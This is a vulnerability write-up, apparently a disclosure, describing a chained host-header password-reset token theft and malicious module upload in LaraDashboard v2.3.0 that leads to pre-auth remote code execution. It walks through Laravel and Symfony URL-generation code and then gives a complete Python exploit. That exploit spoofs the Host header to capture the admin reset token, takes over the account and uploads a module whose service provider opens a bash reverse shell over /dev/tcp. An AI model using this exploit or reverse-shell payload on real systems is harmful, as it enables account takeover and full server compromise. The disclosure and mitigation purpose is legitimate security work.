Summary

What is LaraDashboard

image.png

laradashboard is an “all-in-one” administrative panel and cms integration platform built on top of the laravel framework. the project provides a variety of essential features frequently required in web application development, including user management, role and permission control, configuration management, translation management, content management, and a modular extension system. these capabilities allow developers to utilize comprehensive administrative functions without any initial setup, and the platform incorporates modern components from the laravel ecosystem—such as tailwind css, livewire, and rest apis—which enables rapid service development

we discovered a 0-day vulnerability in the latest laradashboard release (v2.3.0) that leads to 1-click account takeover, which can be further escalated to remote code execution (rce).

How to build this cms

cd laradashboard-main # assuming, you've extracted in laradashboard-main
composer install
npm install

Create .env file by copying .env.example file.

php artisan key:generate
php artisan storage:link

php artisan migrate:fresh --seed && php artisan module:seed
composer run dev

We built the CMS using the following command, and our environment is shown below

image.png

Router architecture

 pocas  ~/0-day/laradashboard-main/routes
❯ tree           
.
├── api.php
├── auth.php
├── channels.php
├── console.php
└── web.php

1 directory, 5 files

the routes are configured as shown above. most of the routes appear to be accessible only to authenticated users, while unauthenticated users can access only the login, registration, and password-reset functionalities.

Travel to trigger an RCE

What is module in Laravel

    // Modules Routes.
    Route::get('/modules', [ModuleController::class, 'index'])->name('modules.index');
    Route::post('/modules/toggle-status/{module}', [ModuleController::class, 'toggleStatus'])->name('modules.toggle-status');
    Route::post('/modules/upload', [ModuleController::class, 'store'])->name('modules.store');
    Route::delete('/modules/{module}', [ModuleController::class, 'destroy'])->name('modules.delete');

before understanding why this route exists, there is one important concept to note. laravel operates on an architecture where all application functionality is built upon a service provider–based dependency injection container (ioc container). internally, whenever a request is made, the framework initializes an application instance and loads only the list of service providers registered within it.

┌───────────────────────────────────────────────┐
│                 HTTP Request                  │
└───────────────────────────────────────────────┘
                       │
                       ▼
┌───────────────────────────────────────────────┐
│      public/index.php (Front Controller)      │
│   - Creates the Application instance          │
│   - Creates the HTTP Kernel instance          │
└───────────────────────────────────────────────┘
                       │
                       ▼
┌───────────────────────────────────────────────┐
│        Application Bootstrap Sequence         │
│   1) Load configuration files                 │
│   2) Load environment variables               │
│   3) Register core service providers          │
│   4) Register application service providers   │
│      → from config/app.php 'providers' array  │
│      → from package auto-discovery (composer) │
└───────────────────────────────────────────────┘
                       │
                       ▼
┌───────────────────────────────────────────────┐
│     ServiceProvider::register() Execution     │
│   - Binds classes into the IoC container      │
│   - Registers singletons / dependencies       │
│   - Merges configuration (mergeConfigFrom)    │
│   * Executed on every request                 │
└───────────────────────────────────────────────┘
                       │
                       ▼
┌───────────────────────────────────────────────┐
│       ServiceProvider::boot() Execution       │
│   - Loads routes (loadRoutesFrom)             │
│   - Registers event listeners                 │
│   - Publishes resources                       │
│   - Any bootstrapping logic for the module    │
│   * Also executed on every request            │
└───────────────────────────────────────────────┘
                       │
                       ▼
┌───────────────────────────────────────────────┐
│               Middleware Stack                │
│   - Global middleware                         │
│   - Route middleware groups                   │
│   - Route-specific middleware                 │
└───────────────────────────────────────────────┘
                       │
                       ▼
┌───────────────────────────────────────────────┐
│                Route Resolution               │
│   - Matches the incoming request to a route   │
│   - Executes the controller/action/closure    │
└───────────────────────────────────────────────┘
                       │
                       ▼
┌───────────────────────────────────────────────┐
│                 Response Sent                 │
│   - Response returned to the browser          │
└───────────────────────────────────────────────┘

when a request is received, laravel first bootstraps the http kernel, then executes the register() methods of all registered service providers once to configure the ioc container bindings. during specific stages of the request lifecycle, laravel subsequently invokes each provider’s boot() method to perform additional tasks such as route loading, event listener binding, and configuration merging.

therefore, the route shown above is intended for managing these modules, allowing administrators to upload new modules. even after a module is uploaded, it is not immediately registered; the administrator must explicitly activate it using the enable button. once enabled, the module is automatically registered and executed on every incoming request.

uploadModule logic

    public function store(StoreModuleRequest $request): RedirectResponse
    {
        $this->authorize('create', Module::class);

        if (config('app.demo_mode', false)) {
            session()->flash('error', __('Module upload is restricted in demo mode. Please try on your local/live environment.'));

            return redirect()->route('admin.modules.index');
        }

        try {
            $this->moduleService->uploadModule($request);

            session()->flash('success', __('Module uploaded successfully.'));
        } catch (\Throwable $th) {
            session()->flash('error', $th->getMessage());
        }

        return redirect()->route('admin.modules.index');
    }

the store() method is invoked when an administrator uploads a module. inside this method, it can be seen that the uploadModule() method is called to handle the upload process.

    public function uploadModule(Request $request)
    {
        $file = $request->file('module');
        $filePath = $file->storeAs('modules', $file->getClientOriginalName());

        // Extract and install the module.
        $modulePath = storage_path('app/' . $filePath);
        $zip = new \ZipArchive();

        if (! $zip->open($modulePath)) {
            throw new ModuleException(__('Module upload failed. The file may not be a valid zip archive.'));
        }

        $moduleName = $zip->getNameIndex(0); // Retrieve the module folder name before closing
        $zip->extractTo($this->modulesPath);
        $zip->close();

        // Check valid module structure.
        $moduleName = str_replace('/', '', $moduleName);
        if (! File::exists($this->modulesPath . '/' . $moduleName . '/module.json')) {
            throw new ModuleException(__('Failed to find the module in the system. Please ensure the module has a valid module.json file.'));
        }

        // Save this module to the modules_statuses.json file.
        $moduleStatuses = $this->getModuleStatuses();
        $moduleStatuses[$moduleName] = true;
        File::put($this->modulesStatusesPath, json_encode($moduleStatuses, JSON_PRETTY_PRINT));

        // Clear the cache.
        Artisan::call('cache:clear'); 

        return true;
    }

the uploadModule() method is responsible for extracting the provided zip file and placing its contents under the modules/ directory.

    public function toggleModule($moduleName, $enable = true): bool
    {
        try {
            // Clear the cache.
            Artisan::call('cache:clear');

            // Activate/Deactivate the module.
            $callbackName = $enable ? 'module:enable' : 'module:disable';
            Artisan::call($callbackName, ['module' => $moduleName]);
        } catch (\Throwable $th) {
            Log::error("Failed to toggle module {$moduleName}: " . $th->getMessage());
            throw new ModuleException(__('Failed to toggle module status. Please check the logs for more details.'));
        }

        return true;
    }

the toggleModule() method is invoked when an administrator enables or disables an uploaded module. internally, it executes the module:enable or module:disable commands via the artisan::call() method, which results in the corresponding service provider being registered or deregistered.

in other words, a user with administrative privileges can upload arbitrary modules, and by doing so, can insert malicious php code and trigger remote code execution (rce). however, this functionality cannot be exploited without access to an administrator account, meaning that an authentication bypass or account takeover vulnerability is required to abuse it.

 pocas  ~/0-day/laradashboard-main
❯ cat modules_statuses.json
{
    "Crm": true,
    "TaskManager": true,
    "Site": true
}%  

however, this behavior is not an issue here. the modules that are enabled by default can be confirmed in the modules_statuses.json file, which includes crm, taskmanager, and site. if a module is uploaded using one of these names, it will be executed immediately without requiring manual activation.

Escalation to Pre-Auth

Auth bypass via screenshot-login (Failed)

Route::get('/screenshot-login/{email}', [ScreenshotGeneratorLoginController::class, 'login'])->middleware('web')->name('screenshot.login');

among the many routes, we found a route named /screenshot-login/{email}. although it is related to login, it appeared to function differently from a typical authentication endpoint, which prompted us to begin reviewing the code.

class ScreenshotGeneratorLoginController extends Controller
{
    public function login($email): RedirectResponse
    {
        // Only allow this functionality in non-production environments
        if (App::environment('production')) {
            abort(404, 'This functionality is not available in production environment');
        }

        // Find the user by email.
        $user = User::where('email', $email)->firstOrFail();

        // Authenticate the user and redirect.
        Auth::login($user);
        return redirect(request()->target ? request()->target : '/admin');
    }
}

yes, this endpoint can be used to bypass authentication, as it allows a user to log in directly using only an email address. however, this behavior is only valid in development mode and is not enabled in production, making it ineffective as an attack vector in real-world deployments.

1-Click Account Takeover via host spoofing (Goooood)

Logic for sending the password reset token

    public function sendPasswordResetNotification($token): void
    {
        // Check if the request is for the admin panel
        if (request()->is('admin/*')) {
            $this->notify(new AdminResetPasswordNotification($token));
        } else {
            $this->notify(new DefaultResetPassword($token));
        }
    }
    
# https://github.com/laradashboard/laradashboard/blob/main/app/Models/User.php#L97L105

in the sendPasswordResetNotification() method, when the request path begins with admin/*, the application generates an adminresetpasswordnotification instance.

class AdminResetPasswordNotification extends BaseResetPassword
{
    /**
     * Build the mail representation of the notification.
     *
     * @param  mixed  $notifiable
     * @return \Illuminate\Notifications\Messages\MailMessage
     */
    public function toMail($notifiable)
    {
        $url = url(route('admin.password.reset', [
            'token' => $this->token,
            'email' => $notifiable->getEmailForPasswordReset(),
        ], false));

        return (new MailMessage())
            ->subject(__('Reset Password Notification'))
            ->line(__('You are receiving this email because we received a password reset request for your account.'))
            ->action(__('Reset Password'), $url)
            ->line(__('If you did not request a password reset, no further action is required.'));
    }
}

# https://github.com/laradashboard/laradashboard/blob/main/app/Notifications/AdminResetPasswordNotification.php

the toMail() method of the AdminResetPasswordNotification class generates the content used for sending the email, which includes a url containing the reset token. this URL is constructed using the url() method, and no subsequent validation logic is applied afterwards.

Laravel’s url() method for URL generation

    function url($path = null, $parameters = [], $secure = null)
    {
        if (is_null($path)) {
            return app(UrlGenerator::class);
        }

        return app(UrlGenerator::class)->to($path, $parameters, $secure);
    }
    
# https://github.com/laravel/framework/blob/12.x/src/Illuminate/Foundation/helpers.php#L1056L1063

laravel’s url() function is defined in illuminate/foundation/helpers.php#l1056–l1063, and internally it delegates the url generation to the to() method.

    public function to($path, $extra = [], $secure = null)
    {
        // First we will check if the URL is already a valid URL. If it is we will not
        // try to generate a new one but will simply return the URL as is, which is
        // convenient since developers do not always have to check if it's valid.
        if ($this->isValidUrl($path)) {
            return $path;
        }

        $tail = implode('/', array_map(
            'rawurlencode', (array) $this->formatParameters($extra))
        );

        // Once we have the scheme we will compile the "tail" by collapsing the values
        // into a single string delimited by slashes. This just makes it convenient
        // for passing the array of parameters to this URL as a list of segments.
        $root = $this->formatRoot($this->formatScheme($secure));

        [$path, $query] = $this->extractQueryString($path);

        return $this->format(
            $root, '/'.trim($path.'/'.$tail, '/')
        ).$query;
    }

# https://github.com/laravel/framework/blob/12.x/src/Illuminate/Routing/UrlGenerator.php#L208L231

the to() method internally calls the formatroot() method, which constructs the starting portion of the base url.

    public function formatRoot($scheme, $root = null)
    {
        if (is_null($root)) {
            if (is_null($this->cachedRoot)) {
                $this->cachedRoot = $this->forcedRoot ?: $this->request->root();
            }

            $root = $this->cachedRoot;
        }

        $start = str_starts_with($root, 'http://') ? 'http://' : 'https://';

        return preg_replace('~'.$start.'~', $scheme, $root, 1);
    }

# https://github.com/laravel/framework/blob/12.x/src/Illuminate/Routing/UrlGenerator.php#L628L641

inside the formatRoot() method, the $root variable is defined by calling the request->root() method.

    public function root()
    {
        return rtrim($this->getSchemeAndHttpHost().$this->getBaseUrl(), '/');
    }

# https://github.com/laravel/framework/blob/12.x/src/Illuminate/Http/Request.php#L113L116

the root() method internally concatenates the values returned by getSchemeAndHttpHost() and getBaseUrl(), and then returns the result. these methods are defined within the symfony library.

Symfony’s getSchemeAndHttpHost() method

    public function getHttpHost(): string
    {
        $scheme = $this->getScheme();
        $port = $this->getPort();

        if (('http' === $scheme && 80 == $port) || ('https' === $scheme && 443 == $port)) {
            return $this->getHost();
        }

        return $this->getHost().':'.$port;
    }
    
# https://github.com/symfony/symfony/blob/24f8e13faef66a70260581684c669f0e03d1b4dd/src/Symfony/Component/HttpFoundation/Request.php#L981L991

    public function getSchemeAndHttpHost(): string
    {
        return $this->getScheme().'://'.$this->getHttpHost();
    }

# https://github.com/symfony/symfony/blob/24f8e13faef66a70260581684c669f0e03d1b4dd/src/Symfony/Component/HttpFoundation/Request.php#L1009L1012

the getSchemeAndHttpHost() method internally calls both getScheme() and getHttpHost() to construct and return the base url. as shown in the implementation of getHttpHost(), it simply retrieves and returns the value of the host header by default.

yes, that’s a good catch. without additional security measures in place, this behavior can indeed be abused in a meaningful way.

    public function getHost(): string
    {
        if ($this->isFromTrustedProxy() && $host = $this->getTrustedValues(self::HEADER_X_FORWARDED_HOST)) {
            $host = $host[0];
        } else {
            $host = $this->headers->get('HOST') ?: $this->server->get('SERVER_NAME') ?: $this->server->get('SERVER_ADDR', '');
        }

        // trim and remove port number from host
        // host is lowercase as per RFC 952/2181
        $host = strtolower(preg_replace('/:\d+$/', '', trim($host)));

        // the host can come from the user (HTTP_HOST and depending on the configuration, SERVER_NAME too can come from the user)
        if ($host && !self::isHostValid($host)) {
            if (!$this->isHostValid) {
                return '';
            }
            $this->isHostValid = false;

            throw new SuspiciousOperationException(\sprintf('Invalid Host "%s".', $host));
        }

        if (\count(self::$trustedHostPatterns) > 0) {
            // to avoid host header injection attacks, you should provide a list of trusted host patterns

            if (\in_array($host, self::$trustedHosts, true)) {
                return $host;
            }

            foreach (self::$trustedHostPatterns as $pattern) {
                if (preg_match($pattern, $host)) {
                    self::$trustedHosts[] = $host;

                    return $host;
                }
            }

            if (!$this->isHostValid) {
                return '';
            }
            $this->isHostValid = false;

            throw new SuspiciousOperationException(\sprintf('Untrusted Host "%s".', $host));
        }

        return $host;
    }
    
# https://github.com/symfony/symfony/blob/24f8e13faef66a70260581684c669f0e03d1b4dd/src/Symfony/Component/HttpFoundation/Request.php#L1131L1177

How this logic can be exploited to achieve Account takeover

in the /admin/password/reset route, it is possible to trigger the delivery of a password reset token using an email address. however, since the application is not vulnerable to email pollution, an alternative method must be exploited to leak the reset token.

in laravel’s default token-delivery logic, the url containing the reset token is generated using the value of the HOST header as the domain. therefore, if no additional url validation is implemented, an attacker can manipulate the hostname to force the application to send a crafted or malicious reset link.

Proof of Concept

PoC File

1-Click Pre-Auth RCE PoC.zip

❯ tree
.
├── crm
│   ├── Providers
│   │   ├── CrmServiceProvider.php
│   │   ├── EventServiceProvider.php
│   │   └── RouteServiceProvider.php
│   ├── app
│   │   └── Http
│   │       └── Controllers
│   │           └── CrmController.php
│   ├── composer.json
│   ├── config
│   │   └── config.php
│   ├── database
│   │   ├── factories
│   │   ├── migrations
│   │   └── seeders
│   │       └── CrmDatabaseSeeder.php
│   ├── module.json
│   ├── package.json
│   ├── resources
│   │   ├── assets
│   │   │   ├── js
│   │   │   │   └── app.js
│   │   │   └── sass
│   │   │       └── app.scss
│   │   └── views
│   │       ├── index.blade.php
│   │       └── layouts
│   │           └── master.blade.php
│   ├── routes
│   │   ├── api.php
│   │   └── web.php
│   ├── tests
│   │   ├── Feature
│   │   └── Unit
│   └── vite.config.js
├── crm.zip
└── poc.py

eg) python3 poc.py localhost:8000 admin@example.com

The PoC file is uploaded as a ZIP archive.

Our environment

CMS         : localhost:8000
CMD's Admin : mailexploit621@gmail.com

Attacker Server : localhost 3434
Netcat          : localhost 8008

our environment is configured as shown above. the cms server is running on port 8000, and the administrator’s email address is mailexploit621@gmail.com.

additionally, the attacker’s server (a flask server) is running on port 3434, and the server intended to receive the reverse shell is listening on port 8008 via netcat.

PoC Code

PHP Code - Crm/Provider/CrmServiceProvider.php

    public function boot(): void
    {
        sleep(3);
        $flag = file_get_contents("http://localhost:3434/state");

        if ($flag == "False") {
            exec("/bin/bash -i >& /dev/tcp/localhost/8008 0>&1 &");
        }
        $this->registerCommands();
        $this->registerCommandSchedules();
        $this->registerTranslations();
        $this->registerConfig();
        $this->registerViews();
        $this->loadMigrationsFrom(module_path($this->name, 'database/migrations'));
    }

before running poc.py, modify the CrmServiceProvider::boot() method to include the command you wish to execute. for example, if the address for receiving the reverse shell is different, you should update it accordingly.

Python Code - poc.py

import requests
import os
import sys
import secrets
import string
import threading
import time
from flask import Flask, request
from bs4 import BeautifulSoup

app = Flask(__name__)

url = sys.argv[1]
admin_email = sys.argv[2]
flask_host = "localhost"
flask_port = 3434
connection = "False"

def generate_password(length=16):
    chars = string.ascii_letters + string.digits
    return ''.join(secrets.choice(chars) for _ in range(length)) + '@'

def get_token(path):
    res = requests.get(url + path)
    soup = BeautifulSoup(res.text, "html.parser")
    token = soup.find("input", {"name": "_token"})["value"]
    cookies = res.cookies.get_dict()
    return (token, cookies)

def send_pin():
    token, cookies = get_token("/admin/password/reset")
    body = {"_token":token, "email":admin_email}
    headers = {"Host": f"{flask_host}:{flask_port}"}
    requests.post(url + "/admin/password/email", headers=headers, data=body, cookies=cookies)

def change_password(uid, email, new_password):
    print(f"[+] new password : {new_password}")
    token, cookies = get_token("/admin/password/reset")
    body = {"_token":token, "token":uid, "email":email, "password":new_password, "password_confirmation":new_password}
    requests.post(url + "/admin/password/reset", data=body, cookies=cookies)

def login(email, password):
    token, cookies = get_token("/admin/login")
    session = requests.Session()
    body = {"_token":token, "email":email, "password":password, "remember":"on"}
    session.post(url + "/admin/login", data=body, cookies=cookies)
    res = session.get(url + "/admin/roles")
    return session

def upload_module(session):
    res = session.get(url + "/admin")
    soup = BeautifulSoup(res.text, "html.parser")
    token = soup.find("input", {"name": "_token"})["value"]
    cookies = res.cookies.get_dict()
    data = {"_token":token}

    files = {
        "module": (
            "crm.zip",            
            open("./crm.zip", "rb"),        
            "application/x-zip-compressed"   
        )
    }
    res = session.post(url + "/admin/modules/upload", data=data, cookies=cookies, files=files).text

def account_takeover(uid, email):
    print("[+] Step-1 : Account Takevoer")
    print(f"[+] reset token : {uid}")
    print("[+] Request to change admin's password ...")

    new_password = generate_password()
    change_password(uid, email, new_password)

    print("[+] Admin's password change completed")
    print(f"[-] Email : {email}")
    print(f"[-] Password : {new_password}")

    return new_password

def request_nc():
    requests.get(f"http://{flask_host}:{flask_port}/nc")

def pause():
    time.sleep(4)
    os.system(f"curl http://{flask_host}:{flask_port}/update-state")

def run_both():
    t1 = threading.Thread(target=request_nc)
    t1.start()

    def delayed_shell():
        time.sleep(1)
        pause()

    t2 = threading.Thread(target=delayed_shell)
    t2.start()

@app.route("/state")
def state():
    return connection

@app.route("/update-state")
def update_state():
    global connection
    connection = "True"
    return connection

@app.route("/nc")
def nc():
    print("[+] Waiting for the shell...")
    os.system("nc -lv 8008")

@app.route("/admin/password/reset/<uid>")
def reset(uid):
    email = request.args.get("email") 

    password = account_takeover(uid, email)
    session = login(email, password)
    upload_module(session)
    run_both()

    return """
    <script>window.onload = function () {window.open('', '_self'); window.close();}</script>
    """

if __name__ == "__main__":
    send_pin()
    app.run(port=flask_port, host=flask_host)

the full poc code is shown above.

  1. request a password reset token for the administrator’s email address.
    1. when requesting the reset token, modify the value of the host header to point to the attacker’s flask server. (this ensures that when the administrator clicks the reset link, the reset token is sent to the attacker’s server.)
  2. after obtaining the token and logging in as the administrator using the new password, upload the crm.zip file to install the malicious module.
  3. use netcat to open port 8008 and wait for the reverse shell.
    1. once the shell is received, execute commands to verify code execution.

this video is set to “unlisted,” and only users with the link can view it.

Recommended Mitigation

the account takeover vulnerability, which allows abuse of the administrator account, should be patched. before issuing a reset token, the application must verify that the generated url matches the legitimate cms domain.